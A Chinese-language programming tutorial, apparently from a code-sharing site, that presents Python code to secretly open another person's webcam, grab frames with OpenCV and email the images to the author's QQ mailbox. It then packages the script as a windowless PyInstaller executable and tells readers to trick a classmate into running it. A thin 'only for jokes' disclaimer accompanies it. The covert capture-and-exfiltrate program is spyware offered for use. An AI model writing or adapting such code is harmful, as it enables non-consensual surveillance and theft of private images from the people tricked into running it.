用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)
前言:
如何悄悄的打開朋友的攝像頭,看看她最近過(guò)的怎么樣,嘿嘿!這次讓我?guī)銈儊?lái)實(shí)現(xiàn)這個(gè)功能。
注: 這個(gè)程序僅限在朋友之間開玩笑,別去搞什么違法的事情哦。
代碼
發(fā)送郵件
使用python內(nèi)置的email模塊即可完成。導(dǎo)入相應(yīng)的代碼封裝為一個(gè)send函數(shù),順便導(dǎo)入需要導(dǎo)入的包
注: 下面的代碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權(quán)碼,不知道qq郵箱授權(quán)碼的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '寫你的qq郵箱地址'
receivers = '寫你的qq郵箱地址'
message = MIMEMultipart('related')
subject = '終于能發(fā)圖片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open(img, "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, '寫授權(quán)碼')
server.sendmail(sender, receivers, message.as_string())
server.quit()
except smtplib.SMTPException as e:
print(e)
打開攝像頭并發(fā)送圖片
我們使用opencv打開筆記本內(nèi)置的攝像頭,不多說(shuō)上代碼
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller將程序打包
好不容易寫好了代碼,結(jié)果同學(xué)那里沒(méi)有運(yùn)行環(huán)境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個(gè)exe文件,照片還不是手到擒來(lái)。
我們使用pyinstaller來(lái)打包,沒(méi)有下載的可以先pip安裝
pip install pyinstaller -i https://pypi.douban.com/simple --user
之后我們打開cmd,cd到你的代碼所在的文件,輸入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一會(huì),等運(yùn)行完了之后你就會(huì)發(fā)現(xiàn)在你的代碼所在的文件夾里多了一個(gè)dist的文件夾,exe文件就在那里。
下面就是最關(guān)鍵的一步了!
忽悠同學(xué)
找個(gè)同學(xué)忽悠她一下

到此這篇關(guān)于用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)的文章就介紹到這了,更多相關(guān)Python打開攝像頭并保存內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
- 如何利用pyinstaller打包Python程序?yàn)閑xe可執(zhí)行文件
- python3.9實(shí)現(xiàn)pyinstaller打包python文件成exe
- python 利用Pyinstaller打包Web項(xiàng)目
- Python打包工具PyInstaller的安裝與pycharm配置支持PyInstaller詳細(xì)方法
- Python中用pyinstaller打包時(shí)的圖標(biāo)問(wèn)題及解決方法
- 詳解pyinstaller selenium python3 chrome打包問(wèn)題
- Python程序打包工具py2exe和PyInstaller詳解
- python-pyinstaller、打包后獲取路徑的實(shí)例
- Python打包方法Pyinstaller的使用
- 教你使用pyinstaller打包Python教程
相關(guān)文章
在pyqt5中QLineEdit里面的內(nèi)容回車發(fā)送的實(shí)例
今天小編就為大家分享一篇在pyqt5中QLineEdit里面的內(nèi)容回車發(fā)送的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-06-06
Python實(shí)現(xiàn)PDF到Word文檔的高效轉(zhuǎn)換
這篇文章主要為大家詳細(xì)介紹了如何使用Python編程語(yǔ)言,結(jié)合庫(kù)和工具,將PDF文件轉(zhuǎn)換為可編輯的Word文檔,使文檔的編輯變得方便高效,需要的可以參考下2024-01-01
詳解python的幾種標(biāo)準(zhǔn)輸出重定向方式
這篇文章是基于Python2.7版本,介紹常見(jiàn)的幾種標(biāo)準(zhǔn)輸出(stdout)重定向方式。顯然,這些方式也適用于標(biāo)準(zhǔn)錯(cuò)誤重定向。學(xué)習(xí)python的小伙伴們可以參考借鑒。2016-08-08
python實(shí)現(xiàn)監(jiān)控阿里云賬戶余額功能
這篇文章主要介紹了python實(shí)現(xiàn)監(jiān)控阿里云賬戶余額功能,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-12-12
python實(shí)現(xiàn)爬蟲統(tǒng)計(jì)學(xué)校BBS男女比例之?dāng)?shù)據(jù)處理(三)
這篇文章主要介紹了python實(shí)現(xiàn)爬蟲統(tǒng)計(jì)學(xué)校BBS男女比例之?dāng)?shù)據(jù)處理,需要的朋友可以參考下2015-12-12
Python下opencv使用hough變換檢測(cè)直線與圓
在數(shù)字圖像中,往往存在著一些特殊形狀的幾何圖形,像檢測(cè)馬路邊一條直線,檢測(cè)人眼的圓形等等,有時(shí)我們需要把這些特定圖形檢測(cè)出來(lái),本文就詳細(xì)的介紹了一下方法2021-06-06
關(guān)于Python自動(dòng)化操作Excel
這篇文章主要介紹了關(guān)于Python自動(dòng)化操作Excel, Python 是一種功能強(qiáng)大的編程語(yǔ)言,可以用于許多任務(wù),包括處理 Excel 文件,需要的朋友可以參考下2023-04-04

